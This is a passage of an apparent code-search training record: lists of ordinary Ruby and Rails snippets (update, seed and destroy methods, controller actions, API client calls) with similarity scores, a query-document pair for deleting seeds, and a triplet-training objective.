"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def seed_name; config[:seed_name]; end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @owners = args[:owners] if args.key?(:owners)\n @site = args[:site] if args.key?(:site)\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def create\n update\n end",
"def seed_all\n current_or_create_new_misc\n current_or_create_new_institutions\n current_or_create_new_williams_dining_opps\n current_or_create_new_williams_dining_places\n current_or_create_new_dining_opps\n seed_app_dining_periods\n seed_williams_rss_scraping\nend",
"def edit(id, options = {})\n optional = [:label,\n :description,\n :compatible_with,\n :script_type\n ]\n params.accepts(optional).validate! options\n request(:put, \"/recipes/#{id}.json\", default_params(options))\n end",
"def save\n id.nil? ? create : update\n end",
"def update\n update_all\n end",
"def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end",
"def update\n params[:recipe][:ingredient_ids] ||= []\n @recipe = Recipe.find(params[:id])\n\n respond_to do |format|\n if @recipe.update_attributes(params[:recipe])\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @version = args[:version] if args.key?(:version)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @version = args[:version] if args.key?(:version)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @version = args[:version] if args.key?(:version)\n end",
"def update!(**args)\n @id = args[:id] unless args[:id].nil?\n @sha1 = args[:sha1] unless args[:sha1].nil?\n @url = args[:url] unless args[:url].nil?\n end",
"def update\n render json: Item.update(params[\"id\"], params[\"item\"])\n end",
"def update\n render json: User.update(params[\"id\"], params[\"user\"])\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n end",
"def put!\n request! :put\n end",
"def save\n doc = collection.find_one()\n collection.update({\"_id\" => doc[\"_id\"]}, {'boom' => to_json})\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n render json: Users.update(params[\"id\"], params[\"user\"])\n end",
"def update\n @event = Event.using(:shard_one).find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n\n\n\n end",
"def index\n @needed_seeds = current_user.needed_seeds\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @model_info = args[:model_info] if args.key?(:model_info)\n @self_link = args[:self_link] if args.key?(:self_link)\n @training_status = args[:training_status] if args.key?(:training_status)\n end",
"def update obj, &block\n populate(obj, &block).save!\n json obj\n end",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def flush\n if exists?\n update_foreman_users('put', get_attribute_from_user('id'))\n else\n update_foreman_users('post')\n end\n end",
"def update\n dream = Dream.find params[:id]\n dream.update dream_params\n render json: {dream: dream}\n end",
"def update_gist\n @gist[\"list.json\"] = JSON.pretty_generate @things\n @gists.save @gist\n end",
"def load_seed\n if(File.exists?(cache_file))\n @seed = MultiJson.load(File.read(cache_file)).to_smash\n else\n @seed = fetch_events\n end\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n end",
"def seed\n Story.delete_all\n Comment.delete_all\n 20.times do |n|\n story = Story.create!(\n title: Faker::Lorem.sentence,\n url: Faker::Internet.url,\n points: rand(-100..100),\n image: Faker::Avatar.image,\n created_at: Faker::Time.backward(14),\n )\n\n rand(0..10).times do |x|\n comment = story.comments.create!(\n body: Faker::Lorem.paragraph(2),\n points: rand(-100..100),\n )\n\n rand(0..3).times do |y|\n comment.replies.create!(\n body: Faker::Lorem.paragraph(rand(1..9)),\n points: rand(-10..10)\n )\n end\n end\n end\n redirect_to root_path\n end",
"def update!(**args)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n end",
"def update\n @fixture = Fixture.find(params[:id])\n\n respond_to do |format|\n if @fixture.update_attributes(fixture_params)\n format.json { head :no_content }\n else\n format.json { render json: @fixture.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_api_v1_todo\n @api_v1_todo = Todo.find(params[:id])\n end",
"def update!(**args)\n @application_id = args[:application_id] if args.key?(:application_id)\n @customer_id = args[:customer_id] if args.key?(:customer_id)\n @editions = args[:editions] if args.key?(:editions)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @state = args[:state] if args.key?(:state)\n end"
] |
[
"0.64316005",
"0.6321124",
"0.62413096",
"0.5762909",
"0.57008153",
"0.56560385",
"0.55970204",
"0.55103415",
"0.5499739",
"0.5432306",
"0.5431133",
"0.5412604",
"0.5394588",
"0.5392577",
"0.5392577",
"0.5359598",
"0.53384984",
"0.53223413",
"0.53110576",
"0.5299005",
"0.5281905",
"0.527982",
"0.5271081",
"0.5263213",
"0.5236403",
"0.5228315",
"0.51999116",
"0.5183541",
"0.5177461",
"0.5160715",
"0.515978",
"0.51410985",
"0.51410985",
"0.51191086",
"0.5110854",
"0.51053876",
"0.5102367",
"0.5099779",
"0.50945103",
"0.5065566",
"0.50636476",
"0.5054337",
"0.5054337",
"0.50129056",
"0.5009587",
"0.5002501",
"0.49983594",
"0.49891043",
"0.49889788",
"0.4983723",
"0.49801695",
"0.49782032",
"0.4970035",
"0.4965536",
"0.4953483",
"0.49501973",
"0.49408218",
"0.49408218",
"0.49408218",
"0.4940224",
"0.49364156",
"0.4920656",
"0.4914902",
"0.4914902",
"0.4914902",
"0.4914902",
"0.4914902",
"0.49103284",
"0.49103284",
"0.49103284",
"0.49103284",
"0.49103284",
"0.49103284",
"0.49103284",
"0.49103284",
"0.49103284",
"0.49103284",
"0.49103284",
"0.49103284",
"0.49103284",
"0.49103284",
"0.49016312",
"0.48936775",
"0.48926282",
"0.48869893",
"0.48840046",
"0.48813346",
"0.48778135",
"0.4876075",
"0.486656",
"0.48659077",
"0.48657963",
"0.48656473",
"0.48621055",
"0.4853399",
"0.48519763",
"0.48462382",
"0.4845866",
"0.48448318",
"0.48383757"
] |
0.62292117
|
3
|
DELETE /seeds/1 or /seeds/1.json
|
def destroy
@seed.destroy
respond_to do |format|
format.html { redirect_to seeds_url, notice: "Seed was successfully destroyed." }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @seed = Seed.find(params[:id])\n @seed.destroy\n\n respond_to do |format|\n format.html { redirect_to seeds_url }\n format.json { head :no_content }\n end\n end",
"def delete_demo(id)\n delete_record \"/demos/#{id}\"\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n Generator.where(id: params[:id] ).first.destroy\n respond_to do |format|\n format.html { redirect_to generators_url }\n format.json { head :no_content }\n end\n end",
"def wipe_seeds(u_id)\n Journal.destroy_by(user_id: u_id, name: \"Recipes\")\n Journal.destroy_by(user_id: u_id, name: \"Daily Notes\")\n Journal.destroy_by(user_id: u_id, name: \"Dream Diary\")\n Journal.destroy_by(user_id: u_id, name: \"Introspective Notes\")\n Journal.destroy_by(user_id: u_id, name: \"Travel Notes\")\n end",
"def delete(id)\n request(:delete, \"/recipes/#{id}.json\")\n end",
"def destroy\n @seed = Donation.find(params[:id]).seed\n\t\tDonation.destroy(params[:id])\n\t\[email protected]_quantity\n respond_to do |format|\n format.html { redirect_to @seed }\n format.json { head :no_content }\n end\n end",
"def delete\n delete_from_server single_url\n end",
"def delete\n DATABASE.execute(\"DELETE FROM students WHERE id = #{@id}\")\n end",
"def delete\n Iterable.request(conf, base_path).delete\n end",
"def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end",
"def delete\n DATABASE.execute(\"DELETE from students WHERE id = #{id}\")\n end",
"def destroy\n @seed = Need.find(params[:id]).seed\n current_user.unneed!(@seed)\n flash[:notice] = \"You no longer need #{@seed.common_name}.\"\n redirect_to needs_path\n end",
"def destroy\n @small_generator = SmallGenerator.find(params[:id])\n @small_generator.destroy\n\n respond_to do |format|\n format.html { redirect_to small_generators_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n DB.execute('DELETE FROM tasks WHERE id LIKE ?', @id)\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def delete!\n Recliner.delete(uri)\n end",
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def delete_make(db, id)\n db.execute(\"DELETE FROM makes WHERE id=?\", [id])\nend",
"def destroy\n # DELETE\n # TODO: removes a specific restaurant\n DB.execute(\"DELETE FROM restaurants WHERE id = #{@id}\")\n nil\n end",
"def clear_db\n DB.from(\"mentees\").delete\n DB.from(\"mentors\").delete\n DB.from(\"admins\").delete\n DB.from(\"users\").delete\n DB.from(\"codes\").delete\n DB.from(\"requests\").delete\n DB.from(\"questions_answers\").delete\nend",
"def delete\n DATABASE.execute(\"DELETE from slides WHERE id = #{id}\")\n end",
"def destroy\n @fixture = Fixture.find(params[:id])\n @fixture.destroy\n\n respond_to do |format|\n format.html { redirect_to fixtures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fixture = Fixture.find(params[:id])\n @fixture.destroy\n\n respond_to do |format|\n format.html { redirect_to fixtures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @run.destroy\n head 200\n end",
"def delete() #DELETE film1.delete (removes 1 film)\n sql = \"DELETE FROM films WHERE id = $1;\"\n values = [@id]\n SqlRunner.run(sql, values)\n end",
"def destroy\n @study_site.destroy\n respond_to do |format|\n format.html { redirect_to study_sites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dish_mixture.destroy\n respond_to do |format|\n format.html { redirect_to dish_mixtures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fixture = Fixture.find(params[:id])\n @fixture.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def delete\n binding.pry\n DATABASE.execute(\"DELETE FROM contents WHERE id = #{id}\")\n end",
"def destroy\n DB.execute(\"DELETE FROM tasks WHERE id = ?\", @id)\n end",
"def destroy\n @experiment_raw_dataset.destroy\n respond_to do |format|\n format.html { redirect_to experiment_raw_datasets_url }\n format.json { head :no_content }\n end\n end",
"def delete_recipe(db,id)\n # your code here\nend",
"def delete()\n db = PG.connect({ dbname: 'Music_Collection', host: 'localhost'})\n sql = \n \"\n DELETE FROM Music_Collection where id = #{@id};\n \"\n db.exec(sql)\n db.close()\nend",
"def destroy\n @database = Database.find(params[:id])\n path = @database.path\n delete = %x[rm -R #{path}]\n @database.destroy\n\n respond_to do |format|\n format.html { redirect_to databases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n official = Official.find(params[:id])\n official.destroy\n head 204\n end",
"def delete_recipe(db,id)\n q = \"DELETE FROM recipes WHERE id=#{id};\"\n return db.execute(q)\nend",
"def destroy; delete end",
"def destroy\n self.class.mongo_client.database.fs.find(:_id=>BSON::ObjectId.from_string(@id)).delete_one\n end",
"def destroy\n self.class.mongo_client.database.fs.find(:_id=>BSON::ObjectId.from_string(@id)).delete_one\n end",
"def delete\n \n end",
"def delete\n dataset.delete\n end",
"def teardown\n # delete everything\n @client.delete('/words.json') rescue nil\n end",
"def teardown\n # delete everything\n @client.delete('/words.json') rescue nil\n end",
"def delete\n \n end",
"def destroy\n @sample = Sample.find(params[:id])\n @sample.destroy\n\n respond_to do |format|\n format.html { redirect_to samples_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sample = Sample.find(params[:id])\n @sample.destroy\n\n respond_to do |format|\n format.html { redirect_to samples_url }\n format.json { head :no_content }\n end\n end",
"def delete_item(id)\n record \"/todos/delete_item/#{id}\"\n end",
"def destroy\n @data = @recipe.delete(params[:id])\n render json: @data\n end",
"def delete\n request(:delete)\n end",
"def delete\n destroy\n end",
"def recipe_delete # /v1/user/:id/recipes/:recipe_id (DELETE)\n params[:recipes] = params[:recipe_id]\n recipes_delete\n end",
"def delete\n sql = 'DELETE FROM members WHERE id = $1'\n values = [@id]\n SqlRunner.run(sql, values)\nend",
"def delete_story_version(id)\n @client.raw('delete', \"/content/story-versions/#{id}\")\n end",
"def destroy\n @shard = Shard.find(params[:id])\n @shard.destroy\n\n respond_to do |format|\n format.html { redirect_to shards_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exercise_set = ExerciseSet.find(params[:id])\n @exercise_set.destroy\n\n respond_to do |format|\n format.html { redirect_to exercise_sets_url }\n format.json { head :no_content }\n end\n end",
"def del\n delete\n end",
"def delete\n client.delete(url)\n @deleted = true\n end",
"def destroy\n\t\t\t\trecipe = get_recipe_by_id(params[:id])\n\t\t\t\trecipe.destroy\n\t\t\t\trender json: {status: 'SUCCESS', message: 'Deleted recipe', data: recipe}, status: :ok\n\t\t\tend",
"def delete\n sql = \"DELETE FROM albums WHERE id = $1\"\n values = [@id]\n SqlRunner.run(sql, values)\nend",
"def delete\n api_client.delete(url)\n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n rid = params['id']\n if Aws.delete_recipe(rid) && Aws.delete_all_ingredients(rid)\n msg = {:notice => \"Recipe deleted!\"}\n render :json => msg\n else\n msg = {:notice => \"Error while deleting from DynamoDB!\"}\n render :json => msg\n end\n end",
"def destroy\n @gen = Gen.find(params[:id])\n @gen.destroy\n\n respond_to do |format|\n format.html { redirect_to gens_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scratcher = Scratcher.find(params[:id])\n @scratcher.destroy\n\n head :no_content\n end",
"def destroy\n \tself.class.mongo_client.database.fs.find(:_id => BSON::ObjectId(@id)).delete_one\n end",
"def perform(id)\n Post.find(id).delete\n end",
"def destroy\n delete ''\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def destroy\n @recipe.destroy\n head :no_content\n end",
"def destroy\n Feed.find(params[:id]).destroy\n render :json => {:ok => true}, :head => :no_content\n end",
"def destroy\n @site_setup = SiteSetup.find(params[:id])\n @site_setup.destroy\n\n respond_to do |format|\n format.html { redirect_to site_setups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # no op\n end",
"def destroy\n # @recipe = Recipe.find(params[:id])\n # @recipe.destroy\n #\n destroy! do |format|\n # format.html { redirect_to recipes_url }\n # format.json { head :ok }\n end\n end",
"def destroy\n return if new_record?\n \n @api.delete \"/meetings/#{shortcode_url}.json\"\n end",
"def delete\n destroy\n end",
"def delete\n destroy\n end",
"def destroy\n\t\tarray_of_short_urls = params[:id].split(\",\")\n\t\t@urls = UrlGenerator.where(encoded_url:array_of_short_urls)\n\t\tif @urls.empty?\n\t\t\trender json:{error:\"not found\"}\n\t\telse\n\t\t\[email protected]_all\n\t\t\trender json:{notice:\"successfully destroyed\"}\n\t\tend\n\tend",
"def destroy\n @study_case.destroy\n end",
"def destroy\n recipe = Recipe.find(params[:id])\n recipe.destroy()\n render json: {message:\"Recipe deleted.\"}\n end",
"def destroy(id)\n\nend",
"def destroy\n set_experiments\n @experiment.destroy\n respond_to do |format|\n format.html { redirect_to experiments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @experiment = Experiment.find(params[:id])\n @experiment.destroy\n\n respond_to do |format|\n format.html { redirect_to experiments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @experiment = Experiment.find(params[:id])\n @experiment.destroy\n\n respond_to do |format|\n format.html { redirect_to experiments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @experiment = Experiment.find(params[:id])\n @experiment.destroy\n\n respond_to do |format|\n format.html { redirect_to experiments_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n animal = Animal.find(params[:id])\n animal.destroy\n head 204\n end",
"def destroy\n @<%= singular_table_name %> = <%= orm_class.find(class_name, \"params[:id]\") %>\n @<%= orm_instance.destroy %>\n\n respond_to do |format|\n format.html { redirect_to <%= index_helper %>_url }\n format.json { head :ok }\n end",
"def destroy\n @dart = Dart.find(params[:id])\n @dart.destroy\n\n respond_to do |format|\n format.html { redirect_to darts_url }\n format.json { head :no_content }\n end\n end",
"def test_valid_delete_returns_204\n db = DB.get\n\n valid_entry = SEED_ENTRIES.first\n insert_entry(db, valid_entry)\n\n assert_equal 1, db.execute('select * from entries').count\n\n delete \"/api/entries/#{valid_entry[:slug]}\"\n assert last_response.no_content?\n\n assert_equal 0, db.execute('select * from entries').count\n end",
"def destroy\n if (@single_recipe_delete = Recipe.find_by_id(params[:id])).present?\n @single_recipe_delete.destroy\n render :json => {\n :response => 'Successfully deleted record.'\n }\n else\n render :json => {\n :response => 'record not found'\n }\n end\n end",
"def destroy\n @generator.destroy\n respond_to do |format|\n format.html { redirect_to generators_url, notice: 'Generator was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @generator.destroy\n respond_to do |format|\n format.html { redirect_to generators_url, notice: 'Generator was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n result = database.delete self\n if result['ok']\n self['_rev'] = nil\n self['_id'] = nil\n end\n result['ok']\n end",
"def delete\n end",
"def destroy\n @recipe.destroy\n \n end",
"def destroy\n begin\n recipe = Recipe.find(params[:id])\n\n recipe.destroy\n render json: { status: 'SUCCESS', message: 'Recipe deleted!', data: recipe }, status: :ok\n rescue\n render json: { status: 'ERROR', message: 'Error finding recipe', data: {} }, status: :not_found\n end\n end",
"def destroy\n UserPlant.destroy(params[:id])\n end"
] |
[
"0.73364943",
"0.6635959",
"0.657147",
"0.64572483",
"0.6225351",
"0.6098829",
"0.6079236",
"0.60780436",
"0.6004456",
"0.59864926",
"0.59812266",
"0.59800464",
"0.5977004",
"0.59515065",
"0.593163",
"0.592465",
"0.5906064",
"0.58930016",
"0.5887137",
"0.58725965",
"0.5863422",
"0.585713",
"0.58539534",
"0.58335406",
"0.58335406",
"0.583093",
"0.5821879",
"0.5817846",
"0.5815183",
"0.5815179",
"0.58150923",
"0.5813571",
"0.58088064",
"0.58074576",
"0.5798417",
"0.5797769",
"0.57953465",
"0.57913905",
"0.5789603",
"0.5778268",
"0.5774319",
"0.5774319",
"0.57651544",
"0.57602",
"0.57499313",
"0.57499313",
"0.57434136",
"0.5738411",
"0.5738411",
"0.5733795",
"0.57320887",
"0.57301784",
"0.5728991",
"0.5728325",
"0.5722989",
"0.5719603",
"0.57169616",
"0.5712268",
"0.5711008",
"0.57107955",
"0.5700726",
"0.5697497",
"0.5697166",
"0.5695868",
"0.5695868",
"0.56819195",
"0.5678847",
"0.5677019",
"0.5667572",
"0.56658995",
"0.5656251",
"0.56558305",
"0.56553566",
"0.5654497",
"0.56544197",
"0.5654314",
"0.56526095",
"0.56513566",
"0.5649164",
"0.5649164",
"0.5647477",
"0.56447613",
"0.56432176",
"0.5641397",
"0.56373024",
"0.5630623",
"0.5630623",
"0.5630623",
"0.5629074",
"0.5628327",
"0.5623152",
"0.5622842",
"0.5620996",
"0.5619992",
"0.5619992",
"0.5610282",
"0.56100965",
"0.56083465",
"0.56049055",
"0.560403"
] |
0.71224236
|
1
|
Use callbacks to share common setup or constraints between actions.
|
def set_seed
@seed = Seed.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
